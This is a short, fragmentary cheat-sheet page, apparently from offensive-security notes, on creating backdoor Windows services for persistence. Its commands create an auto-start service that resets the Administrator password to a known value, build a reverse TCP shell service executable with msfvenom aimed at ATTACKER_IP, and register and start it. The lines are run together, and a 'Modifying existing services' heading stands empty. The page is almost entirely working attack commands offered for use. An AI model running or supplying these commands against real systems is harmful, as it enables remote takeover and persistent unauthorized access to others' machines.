Abusing Services
Creating backdoor services
sc.exe create RestartService binPath= "net user Administrator Passwd123" start= auto
sc.exe start RestartServicemsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exesc.exe create RestartService2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start RestartServiceModifying existing services
Last updated